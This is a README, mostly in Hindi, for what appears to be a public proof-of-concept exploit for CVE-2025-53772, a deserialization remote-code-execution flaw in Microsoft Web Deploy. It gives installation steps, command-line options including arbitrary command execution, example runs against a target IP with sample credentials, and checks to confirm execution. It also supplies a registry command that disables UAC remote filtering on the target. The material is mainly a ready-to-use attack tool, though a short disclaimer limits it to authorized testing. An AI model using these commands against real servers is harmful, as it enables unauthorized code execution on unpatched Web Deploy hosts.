
poc for cve-2025-53772
CVE-2025-53772 के लिए एक Python-आधारित शोषण, जो Microsoft Web Deploy (msdeploy) में HTTP हेडर डेटा के असुरक्षित डिसीरियलाइज़ेशन के कारण उत्पन्न एक रिमोट कोड निष्पादन भेद्यता है।

| गुण | मान |
|---|---|
| CVE ID | CVE-2025-53772 |
| CVSS स्कोर | 8.8 (उच्च) |
| प्रभावित उत्पाद | Microsoft Web Deploy 4.0 |
| संवेदनशील संस्करण | < 10.0.2001 |
| पैच किया गया संस्करण | 10.0.2001+ |
| भेद्यता प्रकार | अविश्वसनीय डेटा का डिसीरियलाइज़ेशन (CWE-502) |
| प्रमाणीकरण | आवश्यक (निम्न विशेषाधिकार) |
भेद्यता MSDeploy.SyncOptions HTTP हेडर के डिसीरियलाइज़ेशन में मौजूद है। जब एक विशेष रूप से तैयार पेलोड भेजा जाता है, तो सर्वर इसे BinaryFormatter का उपयोग करके डिसीरियलाइज़ करता है, जो TypeConfuseDelegate गैजेट श्रृंखला के माध्यम से मनमाना कोड निष्पादन को ट्रिगर करता है।
Attacker Target Server
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <malicious_payload> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ RCE Achieved!
| एंडपॉइंट | पोर्ट | प्रोटोकॉल | प्रमाणीकरण प्रकार |
|---|---|---|---|
/MSDEPLOYAGENTSERVICE | 80 | HTTP | NTLM |
/msdeploy.axd | 8172 | HTTPS | Basic |
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
# Create proof file in C:\Windows\Temp\pwned.txt
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
-t, --target Target IP or hostname (required)
-u, --user Username (required)
-P, --password Password (required)
--port Target port (default: 80)
--endpoint Endpoint path (default: /MSDEPLOYAGENTSERVICE)
--ntlm Use NTLM authentication (required for Agent Service)
--calc Execute calc.exe
--proof-temp Create C:\Windows\Temp\pwned.txt
--proof-web Create C:\inetpub\wwwroot\pwned.txt
-c, --command Custom command to execute
--generate-only Only generate payload, don't send
-o, --output Save payload to file
# Pop calculator
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# Create proof file in temp folder
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# Create proof file in webroot (verify via browser)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# Execute custom command
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# Generate payload only (don't send)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
# Using msdeploy.axd endpoint (no --ntlm flag)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
शोषण चलाने के बाद, लक्ष्य पर निष्पादन सत्यापित करें:
# Check for proof file
type C:\Windows\Temp\pwned.txt
# Or via browser (if --proof-web was used)
# Navigate to: http://<TARGET>/pwned.txt
यदि एजेंट सेवा का उपयोग NTLM के साथ कर रहे हैं और 401 मिल रहा है:
# On target, disable UAC remote filtering:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
IIS हैंडलर पंजीकृत नहीं हो सकता है। इसके बजाय एजेंट सेवा एंडपॉइंट का उपयोग करें:
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
# Check installed version
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# Vulnerable if < 10.0.2001
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। परीक्षण से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
MIT लाइसेंस